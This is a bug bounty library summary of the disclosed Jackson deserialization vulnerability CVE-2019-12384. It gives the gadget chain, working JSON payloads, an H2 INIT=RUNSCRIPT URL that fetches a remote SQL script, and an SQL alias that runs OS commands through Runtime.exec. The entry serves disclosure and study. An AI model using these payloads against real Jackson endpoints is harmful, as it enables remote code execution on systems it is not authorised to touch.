# Jackson gadgets - Anatomy of a vulnerability

Jackson polymorphic deserialization of logback DriverManagerConnectionSource triggers JDBC URL loading, chaining H2 INIT RUNSCRIPT to achieve SSRF and RCE.

- Payout: Research
- Severity: high
- Program: Jackson databind
- Credited: Doyensec
- Disclosed: 2019-07-21
- CVE: CVE-2019-12384
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2019-07-22-jackson-gadgets-html
- Tags: domain:web3 impact:internal-access impact:rce kind:research platform:research sev:high tech:java technique:chained vuln:deserialization vuln:rce vuln:ssrf

**Target:** Java JSON deserialization (Jackson ObjectMapper with default typing)
**Root cause:** Jackson default typing instantiates attacker-chosen classes; logback DriverManagerConnectionSource's getConnection() passes an attacker-controlled JDBC URL to a driver, and H2's INIT/RUNSCRIPT executes SQL from a remote URL.
**Steps:**
1. Enable Jackson default typing and deserialize into java.lang.Object (jRuby harness with classpath jars).
2. Send `["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:"}]` to trigger setUrl then getConnection() -> SSRF/DoS.
3. Host inject.sql: `CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd)...Runtime.getRuntime().exec...$$; CALL SHELLEXEC('id > exploited.txt')`.
4. Send `["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]`.
5. Observe command output in exploited.txt confirming RCE.
**How found:** Engagement found an app deserializing JSON with controllable class; authors assumed preconditions (untrusted JSON + polymorphic Object typing) and hunted for a gadget class not yet blacklisted, focusing on 'non-pure' getters with side effects where an argument is controlled. DriverManagerConnectionSource.getConnection() fit, and JDBC's string-to-class mapping led to H2 as a second-stage gadget.
**Exploitation:** Attacker controls JSON body of a Jackson endpoint using default typing. Deserializing DriverManagerConnectionSource sets url, then serialization invokes getConnection(), which loads the JDBC driver for the URL. Pointing at a remote H2 URL yields SSRF; using H2 INIT=RUNSCRIPT FROM attacker HTTP server loads SQL that defines a Java alias and executes OS commands in the JVM context.
**Escalation:** Chains SSRF/DoS into full RCE by abusing H2's INIT script and CREATE ALIAS Java code execution.
**Insight:** Look for getters invoked during serialization that perform side effects on attacker-controlled fields (e.g. getConnection() on a URL field); JDBC URLs are a pivot because drivers auto-instantiate from the URL string, and H2's INIT/RUNSCRIPT plus CREATE ALIAS gives code execution without JDK deserialization gadgets.
